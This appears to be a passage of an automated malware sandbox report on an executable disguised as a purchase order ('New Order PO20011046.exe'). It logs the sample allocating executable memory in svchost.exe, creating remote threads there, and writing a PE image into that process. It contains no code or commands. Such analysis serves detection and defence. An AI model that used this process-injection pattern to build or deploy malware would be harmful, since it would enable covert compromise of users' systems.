Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 33E0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 33F0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3400000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3410000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3420000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3430000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3440000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3450000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3460000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3470000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3480000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3490000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 34A0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 34B0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 34C0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 34D0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 34E0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 34F0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3500000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3510000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3520000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3530000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3540000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3550000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3560000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3570000 protect: page execute and read and write

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 460000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 4A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 4E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: B40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: B80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: BC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: C00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: C40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: C80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: CC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: D00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: D40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: D80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: DC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: E00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: E40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: E80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: EC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: F00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: F40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: F80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: FC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1000000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1040000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1080000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 10C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1100000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1140000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1180000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 11C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1200000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1240000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 1280000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 12C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3310000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3350000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3390000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 33D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3410000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3450000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3490000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 34D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3510000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3550000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3580000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3700000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3740000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 3780000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 37C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 37F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5130000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5170000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 51B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 51E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5260000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 53B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 53F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5420000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 55A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 55E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5620000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5660000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 56A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 56E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5710000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5890000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 58D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5910000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5950000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5990000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 59D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5A10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5A50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5A90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5AD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5B10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5B50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5B90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5BD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5C10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5C50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5C90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5CD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5D10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5D50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5D90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5DD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5E10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5E50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5E90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5ED0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5F10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5F50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5F90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 5FD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6010000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6050000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6090000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 60D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6110000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6150000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6190000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 61D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6200000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6380000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 63C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6400000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6440000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6480000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 64B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6630000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6660000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 67E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6820000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6860000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 68A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 68E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6920000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6960000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 69A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 69D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6B50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread created: C:\Windows\SysWOW64\svchost.exe EIP: 6B70000

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 50480000 value starts with: 4D5A
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Users\user\Desktop\New Order PO20011046.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 180000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 190000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1F0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 440000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 450000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 460000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 470000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 480000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 490000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4A0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4B0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4C0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4D0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4E0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: B90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: BA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: BB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: BC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: BD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: BE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: BF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: C90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: CA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: CB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: CC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: CD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: CE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: CF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: DA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: DB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: DC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: DD0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: DE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: DF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E70000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E80000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E90000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: EA0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: EB0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: EC0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: ED0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: EE0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: EF0000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F00000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F10000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F20000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F30000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F40000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F50000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F60000
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: F70000
